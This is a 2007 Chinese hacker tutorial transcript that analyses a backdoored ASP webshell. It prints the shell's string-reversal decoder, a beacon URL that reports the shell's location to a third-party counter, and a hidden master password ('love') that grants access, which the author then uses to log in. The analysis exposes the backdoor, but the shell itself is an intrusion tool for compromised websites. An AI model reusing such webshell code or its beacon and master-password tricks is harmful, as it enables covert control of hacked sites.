大家好， 我是小勇紫夜， 由于在网吧， 桌面就免了吧， 还请见谅，

今天 给大家做的上抓超强webshell使用中大马的后门，

为了动画的真实性， 先下载，

现在的人不知是怎么想的， 哎， 

等等吧，

整理时间： 2007-5-22 16:09:13

没时间给大家做， 今天抽的一点时间给大家做的， 

好了，  下完了，

垃圾号， 研究技术。群号是：38693995

密码就123456吧， 加了密的， 打开，网络嗅探器

http://count24.51yes.com//127.0.0.1%3A81/muma.asp&color=16x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%201.1.4322%29

看到没有啊，  //127.0.0.1%3A81/muma.asP 我们的马的地址，

我们来破解它， 

function UnEncode(cc)
for i = 1 to len(cc)
    if mid(cc,i,1)<> "琳" then
temp = Mid(cc, i, 1) + temp
   else
    temp=vbcrlf&temp
 end if
next
UnEncode=temp
end function

这里有一个东东没有被加密

这个就来用来解密的吧， 

http://www.baidu.com/

moc.udiab.www//:ptth""=LRUetiS琳字名门后'

这两面三刀个对比起来你会想到什么，  是不是刚好是倒过来的啊，  哈哈， 

这下子找它的后门就简单了， 

count24 倒过来就是42tnuoc   找一下试试， 

21=ogol&629761642=di?xpsa.kcilc/moc.sey15.42tnuoc//:ptth

倒过来就是http://count24.51yes.com/click.aspx?id=246167926&logo=21 这是一个流量， 我刚才看了的，

可是他怎么利用我们的马的地址的呢，  我开始以为是他查入了一句话， 可后来我找了很久没有找出来 可看到它， execute(UnEncode(hu))

这不是一句话哦，  这个就是解密的，  我们先把他解密了不就什么都知道了吧，

我们来试试看，

看， 是不是很熟悉啊，  只能一段一段解啊， 我这由于系统原因， 

好，  解密完了， 我们来看看啊， 

怎么那一个解出来找不到啊，  可能是复制多了系统没有算过来，  这一个是我刚才解密好了的，

他的密码为：love

也就是说这个大马有两个密码，一个是我们自己的， 另一个是他的后门密码love,

if request.form(""pass"")=UserPass or request.form(""pass"")=""love"" then

我们来试试啊， 看能不能进去啊，
看到没， 进去了，  我们再用自己的密码：123456 去试试，

应该能进去的， 慢啊，看到没，进去了， 好了， 教程就是这样，   其它的话我就不多说了，

我有时间了会做一个去后门版的给大家， 

BY：小勇紫夜，  http://yxp888.uu1001.com   QQ:343032105